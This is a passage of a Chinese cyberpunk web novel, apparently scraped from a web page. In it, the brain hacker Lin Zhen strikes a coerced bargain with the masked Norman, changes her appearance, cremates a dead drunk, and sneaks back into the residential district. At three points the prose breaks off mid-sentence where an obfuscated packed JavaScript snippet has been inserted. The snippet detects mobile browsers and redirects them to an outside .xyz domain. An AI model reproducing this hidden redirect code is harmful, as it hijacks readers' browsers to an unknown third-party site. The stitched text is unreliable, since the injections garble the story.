这里,墙根的石灰被血染成黑色,过于茂盛的杂草长着巨大肥厚的叶片,赤红色的苔藓喝着雨水和鲜血,顺着墙壁和台阶蔓延。 雨停了。 对面的屋檐下,那个醉汉正捂着自己右肩的血洞,蜷缩成一团。听见响动,他警惕地抬起头,上上下下打量着林真。见她只是一个手无寸铁的少女,醉汉的眼睛里放出精光。他站起身,向着林真踉跄走来,也不捂着伤口了,沾满了鲜血的左手向林真探抓而来。 人类都有战逃反应。危险来临时,要么战斗,要么逃跑。呆着不动地都被进化淘汰掉了。 所以,林真,你是战,还是逃? 林真深吸一口气。 她身后的黑暗里,一管黑色的枪口悄悄探出,越过她的肩头。 诺曼的声音响起:“滚开,她是我的猎物。” 同一时间,林真默念:Escape。 醉汉双眼突然变得空洞,抬手死死捂住自己的口鼻。两分钟后,醉汉失去意识,颓然向前摔倒。 浓重的血腥味和酒气几乎扑上林真的脸颊。残肢擦过她的肩膀,在袖子上留下一抹鲜血。 林真被撞的晃了一下,右脚向后退了小半步,但很快重新稳住身体。 她深深吐出肺里的空气,“我不是你的猎物,诺曼。” 诺曼越过她,看了一眼地上的醉汉:“也许你是有能力走出黑街。” “如果你把枪借我的话,我走出去的概率会更高。” “那对我有什么好处呢?要不这样吧,我借你枪,你帮我入侵一个人的脑子,你看怎么样?” “那就算了。”林真摇摇头。 诺曼盯着林真的眼睛,分析她的微表情。 从刚开始的惊慌,到现在的坚决。 面罩下,他的嘴角微微勾起。 可惜了。 黑街的威胁,可不止是人呢,从外面来的骇客小姐。 5. 黑街(二) 诺曼抱着双臂靠在楼道口,余光留意着林真的背影,一边辨认着对面灯笼上的字。 灯笼已经褪成了浅红色,金色的繁体字斑驳不清,缺胳膊断腿,但是诺曼很有耐心地一个字一个字辨认。 开——门——大——吉 恭——喜——发——财 欢——迎—— “滴” 一个尖锐的声音响起,像是微波炉定时结束时发出的提示音。 林真的脚步一顿,往巷子深处看去。 那里,一个红色的倒三角在二层楼的高度亮起,闪烁着向她飞来。 那是一台漆黑的无人机,机身呈现倒三角的形状,上方两侧各有一个螺旋桨。 无人机的两侧缓缓打开,探出两根黑漆漆的粗大枪管,对准了她。红色的倒三角标识前,投影出几个红色大字: 无身份个体,允许击杀。 林真下意识摸了一下耳后,向后退了一步,然后拔腿就跑。 战逃反应是吧? 现在是该逃跑的时候了,人类。 她的身后,大口径子弹掀起了水泥地面。 她曾经和朋友去墨西哥边境,去吃据说最正宗的玉米塔可。不巧,正碰上街头开火。清澈愚蠢的留学生第一次听到枪声,在店里所有人抱头蹲下的时候,傻愣愣地往外头看。那时,她就看到对面咖啡店的玻璃,“砰”的一声,碎了一地。 她当时觉得死亡从未如此逼近。 可现在,死亡就在她肩膀上跳舞。 诺曼还站在楼道口。见林真跑回来,他愉快地眯起眼睛,读出最后一串灯笼上的字: “欢迎光临。” 林真一把抓住诺曼的胳膊,拉着他冲进楼道,另一只手关上金属门。 下一秒,“当当当”几声连响,金属门上出现一排小洞。 “审判者,专门杀没身份芯片的偷渡客的。”诺曼好整以暇靠在墙壁上,慢悠悠地说,“一扇金属门可挡不住它。所以,交易吗?帮我入侵一个脑子。” “谁的脑子?” “命都要没了,你还关心别人的脑子?” 诺曼从夹克胸前的口袋里,掏出一片银色半透明的芯片,晃了晃。 “还给我。”林真两步上前,但抓了个空。 “已经被注销了,给你也没用。”诺曼五指合拢,握住芯片,右手高高举起,避开林真的手。看见林真脸上的失望,他接着道:“但我可以重新激活它。” 楼道狭窄,他们几乎是面对着面。 林真后退一步,靠在楼梯的栏杆上。 “什么人?”她问道。 “反正是个大人物。” “为什么?” “他有我想要的东西。” “那就是谋财,害命吗?” “看情况。听着,如果你没有芯片,就算解决了外面那台,整个黑街,还有无数台审判者。你走不出去的。”诺曼抬起眼,“所以,你怎么说?” 金属门的一个门合页已经完全碎了,门板歪向一边。光线和声音闯进来,像是死亡的钟声。 咚。 咚咚。 林真深吸一口气,点了点头。 诺曼一把拉过她的肩膀,摘掉她的头盔,左手扣在她的脑后,右手食指和中指夹着芯片,送入藏在左耳后的脑机接口。 他们贴得很近,额头几乎碰在一起。 “别动。”诺曼说道。同时,他一把散开自己的头发,从头发里抽出一根细长的黑色接线,对准了林真的脑机接口。 “说你同意。” 林真闭上眼睛:“我同意。” 下一秒,她就感觉耳后一阵刺痛,像是被电了一下,酥麻感一直爬过她的脊椎。 “这样就激活了吗?” “不是啊,这是大脑病毒。”诺曼的眼睛里满是笑意,“你要是违约,它就烧掉你的脑子。” “你就是这么和人谈交易的?” “巧了,我只会这么和人谈交易。” 轰—— 金属门向外倒下。黑色的“审判者”进入楼道,粗大的枪管缓缓旋转着,一根对准了林真的脑子,一根对准了诺曼的脑子。 “别动。”诺曼说道,他死死扣住林真的脑袋。 林真能感觉到他的手指按在自己耳后。 针刺一样的触电感再次出现。林真压低了声音:“你确定能行?” “骗一个机器人,足够了。” “嘘,它听见了怎么办?” 红色的光芒上上下下扫过林真。“审判者”的摄像头转了转,似乎在思考目标怎么消失了。十几秒后,红色的光芒熄灭。“审判者”调转方向,无声离去,继续潜伏在黑街。 诺曼摘下连接线,向林真伸出手,“那就合作愉快。对了,刚才顺手读了你的芯片,礼尚往来,你不介意吧?林雪。” 林真没有纠正他,也没有伸出手。 诺曼耸了耸肩。换成他,被种了大脑病毒,也不会有好脸色。之前想给他种大脑病毒的骇客,已经死成几千片了。 林真走下楼梯,穿过空荡荡的门口。 醉汉仍旧保持着趴着的姿势,倒下的金属门正压住他的下半身。 林真蹲下身,抓住门板,向上抬起一点。 诺曼跟着出来,盯着醉汉的脸看了一会,用鞋尖踢了踢对方的脑袋。 “你干什么?” “别费事了,他死了。跳弹。”诺曼吹了一声口哨,“那些秃鹫会来收拾的,你总不想给他们行方便吧?” 林真看了他一眼,手臂用力,一点点抬起金属门板。她把门抬到肩膀的高度,然后用肩膀一点点推,直到门板完全立起。接着,她松开手。 “哐当”一声,金属门板砸在湿润的地面上,没有溅起半点尘埃。 像一声戛然而止的哀嚎。 雨已经停了,天色已经完全亮了。 惨号和枪声唤醒了崭新的一天,新的一天带来更多的枪声和惨号。 林真拍去掌心里的铁锈,扶着膝盖站起身。 “你说’骗一个机器人足够了’,是什么意思?” 诺曼靠着门框的一侧,双手插在兜里,“芯片可以激活,但我可没法进入居民数据库,帮你死而复生。而且,张三还活着,指不定哪天你们俩就再续前缘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904326|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了呢。” “那你有什么办法?” “我的办法啊……”诺曼从口袋里摸出一把黑色的头绳,分出一根,“你要不要?” “不用。” 诺曼收回手,把自己的头发捋了两下,一把扎起。他往街道上望了一眼,“说到办法,我的办法这不就来了吗?” 他的话音刚落,一辆紫色的摩托轰鸣着在门板上稳稳停下。 骑手掀起头盔面罩,用镶了金属片的鞋尖踢了踢门板:“嚯,停车位都给我准备好了啊?那个地上的怎么回事?也是给我的啊?” 诺曼抬起眼皮:“义体肺,看得上你就拿走。” 骑手跳下摩托,拎起后座上的大包,随手丢给诺曼。接着,他从黑色燕尾服里掏出一个既像听诊器、又像金属探测器的玩意儿,在尸体的左胸和右胸前分别拍打了几下,然后眉头一皱,冲着已经上楼去的诺曼愤怒地喊道: “十年前的型号,你当我捡垃圾的呢!” 楼上传来诺曼的声音,“不要就闭嘴滚进来。” 骑手看了林真一眼,双手一摊,“他就这副德行,拽得二五八万似的。” 他对林真伸出手。 林真想到他的手刚碰过尸体,抿起嘴唇。 “哦,不好意思,不好意思。”骑手抓了抓自己的头盔,“在下莫恕,黑街代号魔术师,敢问小姐芳名?” 林真并不想回答,转而问道:“诺曼也是代号吗?” “那不是,诺曼是一个有深意的名字。Nomanisanisland(没有人是一座孤岛)。” 莫恕说完,期待地看着林真。 没有人是一座孤岛,除了诺曼(Noman)。 林真秒懂,“所以他的代号是‘没有人’?” “也不是。”莫恕又抓了抓头盔:“他代号N。” 他伸出右手,示意林真先上楼。 “等一下,莫恕。”林真指了指醉汉的尸体。“帮我一起把他带上去,可以吗?” “哇哦,诺曼一定会弄死我的……但是谁能拒绝可爱小姐的请求呢。上半身我来抬吧,这血糊糊的,你站远一点。对了,可爱的小姐叫什么?” 林真抬起醉汉的双腿,无奈道:“林雪。” 房间里,诺曼坐在高脚椅上,一只脚踩在地上,一只脚搁在椅子上。这人本来就高,这样看着压迫力更重。看见莫恕和林真抬着醉汉的尸体进来,他的眉头立刻拧了起来。 莫恕松开一只手,从燕尾服里抖出一大块防水布,铺在门口,把尸体放在防水布上,“懂的懂的懂的,要是弄脏了一点,我保证给你打扫干净。” 诺曼终于点头,“林雪,新来的,给她换个样子。” “我不是很想——”林真的话没有说完,因为莫恕摘下了摩托头盔。 就像是对向来车突然打开了远光灯。 这倒不是说莫恕是个光头。 他的确没有头发,但他也没有正经的脑壳。 在一层透明的脑壳下,一整个荧光紫的大脑流光溢彩。 余光里,诺曼嫌弃地移开目光。林真张着嘴,一时间忘了自己要说什么。 6. 黑街(三) “很好看,对不对?”莫恕满眼期待。 “……很艺术。” 艺术不一定美,但艺术一定高端。 最高端的艺术,能给人当头一棒的效果,就像面前的荧光脑瓜子。 莫恕对这个回答非常满意,特地低下头让林真仔细看看,一边介绍道: “中枢科技最新出品的荧光基因,附带刺激大脑细胞活性的效果,你要是喜欢——” 他的手指点在透明脑壳上,林真都担心他直接戳到自己的脑子。她后退一步:“我们来谈谈,怎么帮我换个样子吧。” 莫恕一秒闭嘴,拖着他的大包,跟着林真来到沙发前。他蹲在地上,打开包,从里头掏出一堆针剂和染料:“被人追杀了是吧?找我就对了,改完包你亲妈都认不出来。我们先从脸开始好了,眼睛颜色,鼻梁高度,苹果肌填充——算了你不需要,头发长短颜色,要不要植入个美人尖?五官义体我也有,金属的陶瓷的——” 林真看了一眼诺曼:“他也被追杀吧,他也改了?” “他自恋,死活不肯。”莫恕笑嘻嘻地回答道。他的话还没说完,就被诺曼一脚踹在肩膀上。 “哎哟!”莫恕抱着肩跳起来,“怎么了你还不让说了?你要是换张脸,也不至于出个门还得用我的样子!我都不知道你拿我的帅脸出去干了什么坏事!” 他认真地看着林真:“可爱的小姐可千万别学他,天天戴面罩怎么行?” 诺曼冷笑一声:“她当然会换脸。” 林真却摇了摇头:“我不想动五官。” “你们这些大脑骇客,不都巴不得抹掉原主的一切吗?” 林真没有理他,只看着莫恕:“请帮我把头发剪到肩膀,里面染成紫色,可以吗?” “就这?”莫恕挑眉。 “嗯,”林真点头,“她一直想染个紫色的头发,披下来看不见,扎起来就是紫色的。” 除了亮紫色的头发,原主的十七年里还想要鼻梁高一点,皮肤白一点,然后在右眼下纹一个爱心。 纹一个爱心? 这就有点非主流了,妹妹。 “莫恕,肤色可以改吗?” “包可以的呀。”莫恕翻出一支针剂,“生物科技出品,大厂原装正版,永久性美白针,一针让你改变人种,两针让你变成天使。” “是什么成分?” 莫恕睁大了眼睛:“这可是生科正版哎,要是你担心,我还有生科正版的免疫抑制剂和免疫风暴。” 排异了,就打抑制剂。 感染了,那就上免疫风暴。 主打一个水多了加面,面多了加水,包糊弄好的。 林真揉了一下眉心。 诺曼嗤笑一声,起身离开。 找准机会,莫恕压低了声音,小心翼翼地问道:“你真是大脑骇客呀?你是被诺曼抓来的吗?” 见林真不说话,莫恕又接着说:“诺曼好像和你们有仇,隔段时间就弄死个骇客。你见识过他的大脑陷阱了吗?” “见识过了。”林真点头。那个金色的房间,让她差点以为自己回到了原本的世界。如果沉浸在虚构的幻境中,意识就会被无声无息地绞灭。 “但他的陷阱对我没用。” 莫恕上下打量着她:“你不能比诺曼的大脑等级还高吧?” 大脑等级,从最低级的F,到最高级的A,笼统来说代表着一个人的大脑计算能力,代表着他去大脑农场,一天下来能赚几个信用点。五区作为联邦的垃圾场和下水沟,基本都是E和F的等级,顶天了也就赚一家人一天的吃穿嚼用。 “诺曼是什么等级?” “他很高。”莫恕神秘兮兮地说:“说不定有C呢。但是你能破他的大脑陷阱,你至少和他一样高。” 说话间,林真的头发已经变成了齐肩的,里层染成了均匀的紫色。 莫恕甚至狗腿地加上了一层纳米彩虹光效,主打一个阳光下紫得五彩斑斓。他递上一根紫色的发绳:“了不起的大人,所以您要美白针吗?” 林真扎起头发,“扑哧”笑出声。 诺曼正好回来,往林真怀里丢了一幅宽大的眼镜,像是滑雪用的护目镜。 “戴上。”他言简意赅。 墨镜的镜腿上,各缠着一条细长的银色接线。 林真皱眉。 “骇客眼镜,应该是你不幸栽在诺曼手里的同行的,”莫恕挤挤眼睛,“这个款式老贵了,你戴上试试。” 林真犹豫着戴上。左边的银色接线像是活了一样,自动接上了她的脑机接口。 莫恕按着自己的左耳,跃跃欲试:“你要不直接脑我一下,咱俩也不用废话了。” “欠。”诺曼“啧”了一声,“他赶着上,你就脑他呗。” 林真扶了下眼镜,看向诺曼。虽然看看起来像是墨镜,但视野完全不暗。有细小的绿色文字从右眼上方划过,如果盯着看,就会放大到足够阅读的大小。 她入侵诺曼的脑子时并没有使用骇客装备,诺曼是知道的。那看来,这是一个需要遮掩的事了。 诺曼探身过来,扯开林真右边的连接线,粗暴地戳在莫恕的脑机接口上。 ESCAPE。林真在心里默念,黑色的空间如约而至。 下一秒,林真操控着莫恕,小心地放下手里的美白针,又从包里翻出一支可代谢的纹身笔。 她看着坐在沙发上,闭起眼睛的女孩。女孩的长发高高地扎在脑后,底下的头发翻出来,在阳光下闪烁着深紫色的光芒。黑色的骇客眼镜泛着蓝光,挡住了大半张脸,只露出秀气的鼻尖。鼻尖微翘,展示着原主人的叛逆和骄傲。 和以前的她一点都不像。 她用左手中指轻轻架起骇客眼镜,右手小指翘起,捏着纹身笔,在女孩的鼻尖右侧轻轻一点。 留下一颗黑色的浑圆的小痣。 她曾经有那么一颗痣。 她好像的确曾经存在过。 林真回到自己身体里,拍了下手,好叫莫恕回神。 莫恕抓了抓自己的透明脑壳:“我感觉我什么都没做,都不好意思收钱。” “那就别收。门口那尸体给我弄走。”诺曼提醒道,“还有你,林雪,装备别掉了,别人就看不见你的脸。要是掉了,记得灭口就行。” “等一下,你们这儿,有火葬场吗?”林真问道。 黑街的火葬场简陋极了,就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904327|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个巨大的球型高炉,让人怀疑平时专门用来毁尸灭迹。说不定,扔进去的都不只是尸体。 火葬场的老板有着两条巨大的金属手臂,轻轻松松单手拎起醉汉的尸体,另一只手拉开高炉入口。 见林真盯着老板的金属手臂,莫恕好奇地问道:“没见过?” 林真摇头,“昨天刚见过。” “听说上面几个区早不用这种了,笨重还容易坏,也就我们五区还在用……什么时候上头来点人,我们五区说不定能鸟枪换炮一下……” 林真的思绪已经飘远。死掉的张四,用的是一样的金属手臂。她下意识看了一眼诺曼。 诺曼环抱双臂,正对上她的目光,从嘴里发出一声嗤笑。 诺曼是坚决反对她出门的,“非要送一个陌生人去火葬场?你是不是有病?上赶着暴露啊?你以为黑街是什么地方?” 但他还是跟来了。 浓重的黑烟从高炉顶端冲天而起。老板走过来,问他们收钱。 “少了个胳膊,骨灰总共2.5千克。收你两千五百信用点。” “你把他拆了也就卖两千多点!”莫恕震惊。 诺曼抱着双臂:“对啊,所以这是给老板的损失费。” 他看向林真:“你自己付。” 一瓶水五个信用点,一管营养剂三个。一天两顿饭两瓶水,就是十六个信用点。林雪的账户里,有够她活六个月的钱。 林真有被震惊到,所幸骇客眼镜挡住了她的表情。 她还得感谢扫街人带走了一条胳膊,不然她还真付不起这个钱。 这是火葬场吗?不,这就是抢劫。 怪不得大白当时要送她去回收厂,联邦也付不起这个钱。 六个月生活费,她心疼地想。 可一个人拆碎了,也只能换来六个月的生活费。 这见鬼的黑街。 她叹了一口气,付了钱。 “骨灰要怎么处理?”火葬场老板收到了钱,态度好了一点,“我这里还有纪念芯片项链,可以刻字的。” “不要骨灰的话,你怎么处理?”林真问道。 高炉已经不冒烟了,想来是烧尽了。天上又开始下起细雨,灰色的烟落下来。 “我和砖厂有生意,骨灰可以拿去造砖头。”老板敲了敲旁边的砖墙,“造房子,要砖头的嘛。” “嘿呀,你赚双份钱啊!你咋这么会做生意呢?”莫恕拉开头盔面罩,阴阳怪气道。 青黑色的砖墙上,雨水缓缓滑落。 生在黑街,死在黑街,然后成为黑街的一部分。也不算一个太坏的归宿。 “那就这样吧。”林真点头,“给我一个芯片项链吧。” 老板从围裙兜里掏出一包芯片项链,让她自己拿:“不值几个点,算送你的了。你要是下次来的早,死前送过来,我这里也有南柯梦境芯片,我帮你上传,包永生的。” 您可真会做生意,别人死一次,您可以赚三份钱。 黑街的GDP,一半是您给贡献的吧? 林真挑了一块环形的芯片。浅蓝色半透明的芯片,像是一个平安扣。她输入了几个字,把芯片挂在脖子上,放进衣服里。 7. 居民区(一) 诺曼坐在高脚凳上,像一只蹲在树桩上的黑色猫头鹰。他脱下外衣,折了两折放在腿上,然后把左手衣袖挽到手肘上方。在黑色面罩和黑衣黑裤的衬托下,他的皮肤泛着冷白的光泽,像是夜色里凝结出的一块冰。 他用力握拳,手臂上青色的血管登时凸显出来。他拍了两下血管,从怀里抽出一支营养针,熟练地对准臂弯扎了进去。 说起来有趣,这个人宁可扎自己一针,也不愿意在别人面前摘下面罩。说话,吃饭,杀人,逃亡,爱欲,都是不必露出脸的事。 诺曼的面罩,莫恕的头盔,可能黑街的人都有一种洞穴情节吧。 人可以活得像只老鼠。 而更有趣的是,林真现在也不愿意摘下骇客眼镜。她隔着眼镜打量着周围,感到一种陌生的扭曲的安全感。 她手里拿着一管营养液,喝了一口。营养液喝起来像是石灰水,石灰味顺着食道一路烧到胃里。她屏住呼吸,两口喝完剩下的,怀疑自己正在消化一堵墙。 诺曼收起针管,随口问道:“所以,你们是怎么找到这个脑子的?” 他的袖子依旧没有放下去。臂弯里,注射过的地方渗出一颗嫣红的血点。 “你不擦一下吗?”林真指了指。 “没必要。”诺曼一把拉下袖子,接着说:“芯片上的大脑等级是E,但能让你安安稳稳待这么久,这个大脑绝对不止这个级别。” “为什么?” “等级低的带不动你的意识,好一点的七窍流血,运气差一点的直接成植物人。这不是你们很喜欢的攻击方式嘛?你不会没入侵过低等级的脑子吧?” 林真沉默着,把营养液包装揉成一个圆柱。 诺曼猜得很对,这个芯片不是原装的,这具身体也不是林雪。但她不会跟一个陌生人坦白交代,更不要说对方显然是一个法外狂徒。 “我说我这是第一遭,你肯定也不信。不是我找上的这个脑子。她是什么等级,是不是E,我也不知道。我进来的时候,她已经死了。” “刚死。你是大脑骇客,又不是神仙。” 可相比醉虾,林真还是更愿意吃全熟的虾。她闭上眼睛,这个比喻并不能让她好受。她正在为自己脱罪,而脱罪的手段,其一就是异化受害者。 那不是人,那只是一具空壳。比起一个活生生的女孩,一具尸体更容易解释,也更容易原谅。 可如果她没有来,那个女孩会不会醒来呢? 营养液在她的胃里翻滚。她抬起手,虚握成拳,用力抵在嘴唇前。 “这个营养剂真的很难吃。” “没吃过?那来我们这儿可真是委屈你了。” 林真一脚踩在高脚凳的高度调节器上。 椅子陡然下降,诺曼被迫和她对视。 林真看着诺曼的眼睛。 “对。”她说,“我没有吃过。我一天吃三顿饭,早上有热腾腾的豆浆油条小笼包,下午有三分糖的奶茶加小蛋糕。我吃肉,吃鱼,吃蔬菜,吃白米饭,我从不喝营养剂。” 她的语速加快,嫣红的血色在脸颊蔓延:“我来的地方,街道是干净的,火葬场没有那么黑心,枪械是被禁止的,杀人是犯法的,我没见过死人,更没看过血!” 她感受到自己正在愤怒。 人类面对死亡、灾难、绝症,最开始的阶段是否认,然后就是愤怒。 为什么是我?我辛辛苦苦兢兢业业,考试没做过弊,开车没超过速,我从没有干过什么十恶不赦的坏事,但是为什么,这种祸事要落到我头上? 这不公平! 诺曼笑起来:“不装了?从上层区来的骇客小姐。” 椅子太矮,他的双腿挤在沙发前,几乎碰上林真的膝盖。 “愤怒吗?为什么是你,对不对?为什么你要来到我们这个臭水沟里,面对我们这样一群老鼠。” “下一步,骇客小姐,你就会恳求了。你会恳求所有能让你回去原本生活的人,比如我。” 他的眼睛像海妖的眼睛。 他的手臂却像一抹冷色的刀光。 他剖开林真的借口,然后在上面撒上白糖。 他要她低头,去舔伤口上的糖。 “骇客小姐,我能帮你回去,只要我们合作。” ——为了回去,相信我,你会愿意做任何事,包括替我杀人。 他的眼神无比真挚。 林真鼻梁一酸,在黑客眼镜后用力眨了一下眼。她前倾身体,更靠近那双眼睛,像是被海妖迷惑的水手。 “和你合作,可以。” 诺曼的眼睛眨了一下。 “但这具身体死得蹊跷,我要找到原因。” “帮她找到死因能让你好受一点吗?黑街随便哪个人都十恶不赦,你出门随便弄死一个就成——我把枪借你好了。对了,刚烧掉的那家伙算不算?” 诺曼说着,从腰后取出手枪。 “诺曼!”林真一把按在手枪上。 枪管坚硬,诺曼的手冰凉。 “怎么?”诺曼抬眼看她。 “你说的没错,我就是需要自欺欺人。我需要是一个好人,哪怕是假装的。” 诺曼抬起左手,勾下林真的骇客眼镜,盯着她微红的眼眶:“听好了,我没有时间陪你玩正义的过家家游戏。我也不在乎你心里过不过得去。” 骇客眼镜抵在金属面罩上,林真的眼睛里带着火光:“我要知道,是谁杀了她。而且,诺曼,你也不希望你的合作者,哪天突然又被盯上了,尤其是在拿到你想要的东西前,不是吗?” 诺曼的喉结动了一下,他的眼神飞快地往房间的角落一瞥,又快速收回。 过了半晌,他终于松口:“……你要做什么?” “她在死前好像吃了很多药。” “什么药?” “不清楚,那一天的记忆很模糊。” “那就把药盒弄来,黑街里的药贩子能找出是什么货。” “那我要回一趟居民区。” “什么时候?” “越快越好。” 诺曼眯起眼睛,微微点了点头。 林真呼出一口气,退回沙发上,她立刻重新戴上眼镜,用右手食指推了推。她一抬头,就看到诺曼的右手食指也按在面罩上,往上推了推。 两人对视一眼,发现彼此的动作惊人的一致。 “学挺快啊,上层人。” 空气安静了一瞬,他们都短促地笑出声。 两个藏头露尾的人回到了正常的社交距离,感觉空气都清爽了。 诺曼伸长了双腿,把手枪塞回枪套。 “你现在还不能回居民区,得等天黑。” 天色渐渐黑下来,对街的商铺亮起了灯笼和霓虹招牌。 诺曼走到衣架前,摘下一件黑色兜帽雨衣,熟练地套上,又拿下另一件,转身递给林真。 那雨衣在诺曼身上只到膝盖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904328|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但穿在林真身上,几乎垂到了脚踝。她戴上兜帽,帽檐遮住半张脸,垂在黑客眼镜上。 诺曼看了她一眼,“走吧。” 夜幕里,街道愈发逼仄,两侧的房屋高得惊人,仿佛下一秒就要向中间倒下。 他们穿过纵横交错的巷道。沿路最多的是灯光迷离的酒吧。穿着暴露的年轻男人和女人倚在门廊下,冲他们慢悠悠地勾了勾手指,脸上的桃心纹身闪烁着荧光。 林真抿紧嘴唇,低下头。她可算知道,这往脸上纹东西的风气是从哪里来的了。 前方的小巷口突然蹿出一个矮小的身影,抱着一只脏兮兮的鞋盒,把盒盖一掀,露出一排五光十色的梦境芯片:“看一看嘞,什么场景都有的,来一场试试看嘛——” 他举着一张芯片就要往林真手里塞:“‘希望之星’真实记录,祝您在四区飞黄腾达嘞!” 诺曼伸手拦在林真面前,右手掀开雨披,在后腰的位置抹了一下,枪已然入手。 看见枪,那孩子的眼神立刻变了,弯着腰、弓着背,一步步退进巷子里,抱着鞋盒靠墙蹲下。 “那只是个孩子,诺曼。”林真压低了声音。 “那小子是一个饵,后面跟着人呢,你跟紧了。” 林真咬了咬牙,没有再说什么,只是更紧地拢了拢雨衣。 七拐八拐的,他们终于来到了黑街的边界。这里好像有一条看不见的线,把所有的喧哗堕落和五光十色都拦在了里头。 黑街的归黑街,外头的归外头。 林真回头,只看见街道上空,全息投影的宫装美人抱着机械兔子,正一步一回头地向着月亮飞去。 这个点的居民区是热闹的,因为在大脑农场打工的人们下班了。他们熙熙攘攘地排着队,站在居民区的大门口,等着通过安检,回家里头去。 “我们要跟着进去吗?” “不,你的芯片不一定能过。”诺曼摇头,“你看那个人。” 队伍的中后段,有一个带着帽子的中年男人,正低着头小心地左右张望。 “他?” “嗯,上周被居民区赶出来的废人,不是第一次想溜回去了。” 诺曼走过去,故意撞到中年男人的肩膀。 那男人护着手里的破布包,被撞了也不敢吱声,唯唯诺诺地就要让出自己的位置。 诺曼却已经转身回来。 “你要做什么?”林真问道。 “制造点混乱。” 他们站在队伍的最后,看着那个瘦削的中年男人逐渐接近安检口。 “三、二、一,”诺曼轻声说道:“开始了。” 他的话音一落,安检口的警报瞬间响起,红光连成一片。 那个中年人突然尖叫一声,朝着大门狂奔过去。 他不是唯一一个。队伍的不同位置,三四人不约而同地动了。 居民区的管理人员迅速站成一排,举起了手里的电棍。 那个中年人径直撞上了管理人员,被一棍子打趴在地面上。他抱住了管理人员的腿,大喊:“我有家人在里面,让我进去!” 电棍如雨落下,砸在男人的后腰和手臂上。 林真咬住嘴唇。 ESCAPE。她默念。 下一秒,一个安保人员的动作突然一僵,手里的电棍在男人的头顶堪堪停住。 诺曼拉住林真的手臂:“闭眼,捂住耳朵。还有,给我把你的意识收回来。” 8. 居民区(二) 下一秒,一道刺眼的光芒从男人的肩头炸开,夹杂着尖锐的爆鸣声。 人群混乱起来。 林真闭着眼,听到诺曼在她耳边大喊。 “走!” 他们快步绕过混乱的人群,拐到围墙的另一侧。 居民区的围墙上布着隔离电网,在路灯下泛着幽暗的蓝光。这是能冲击意识的能量网,用来防止有人翻越围墙,偷渡进居民区。 诺曼摘下帽子,解开头发,靠在墙壁上。他的双手一下子握紧成拳。紧接着,蓝光像潮水一样从他周围退开,露出一段两米宽的空白。 “上来,快点。”诺曼喘着气催促。 林真踩在他交握的手上,双手扶着砖墙。 随着诺曼一点点站直,她逐渐能看见墙里的样子。那是她熟悉的红顶白房子群。 “把雨衣脱了,垫在上面。” 林真把雨衣甩过墙头,盖在锋利的玻璃片和铁片上。 “你利用了那个人。”她突然说。 “那又怎么样?他想进去,我给他最后一次机会。” “他如果失败呢?” “早点死,对他也不是坏事。” 林真抿紧嘴唇。求生不能,所以不如求死吗? “专心点,要上了。”诺曼向上一托,林真顺势攀上了墙头。她几乎是翻滚过去的,落地时没站住,一屁股坐在水泥地上,骨头震得生疼。 隔着墙,她听到诺曼的声音:“没摔死吧?” 她咬了咬牙站起来,用力拍了一下墙壁。 墙头的雨披被扯了回去。墙上的电网恢复了。 居民区里十分安静,只有入口的方向,红光和吵闹声依旧。也不知道那个中年人怎么样了。 林真收回目光,向着记忆里的家走去。原主和姐姐的家在十三层,不是什么吉利的数字,但一个月可以便宜三十信用点。林雪就是靠着这些省下的信用点,给妹妹多买一点吃的,买一件新的衣服。 楼道里的灯光闪烁着。 “林真回来啦?”有人隔着窗户招呼道。 林真低着头,轻轻“嗯”了一声。 “这两天怎么不见你姐姐?” 她摇了摇头,没有作声,继续往楼上走。 公寓门口,黄色的虚拟封条上写着:请尽快更改户主身份,重新签订租约。 时限是三天内。 林真穿过虚拟封条,打开大门。公寓里还是她刚来时的模样。墙壁上,电子蝴蝶感应到有人,翩翩地飞起来。 烘干机里,衣服已经放出了褶皱。林真下意识调到十五分钟的快速模式。她看着玻璃上陌生的脸,茫然地露出一个笑,就好像在公司里遇到一个不熟悉的同事。 烘干机快速旋转起来,将那张陌生的脸搅碎。 冰箱里还有三瓶水和三支草莓味的营养剂。有调味的营养剂和原味的相比,三支要贵整整一个信用点。其中一管营养剂上,贴着粉色的便签:真真,记得吃饭,多喝水。 她的手指在水瓶上停了几秒,还是拿了出来。 她在地板上坐下,喝了一口水,然后面对着镜子慢慢躺下。 寻找原主的死因只是她回来的一个原因,她更想知道,如果她回到原点,她能不能回去原来的世界。 她看着镜子里女孩的脸,低声开口—— ESCAPE 黑色的世界如约出现。 她操纵着意识,一直往黑色世界的最上面去。 她经过很多蓝色和紫色的脑子,应该是楼上的住户们。她不知道他们,他们也不认识她。 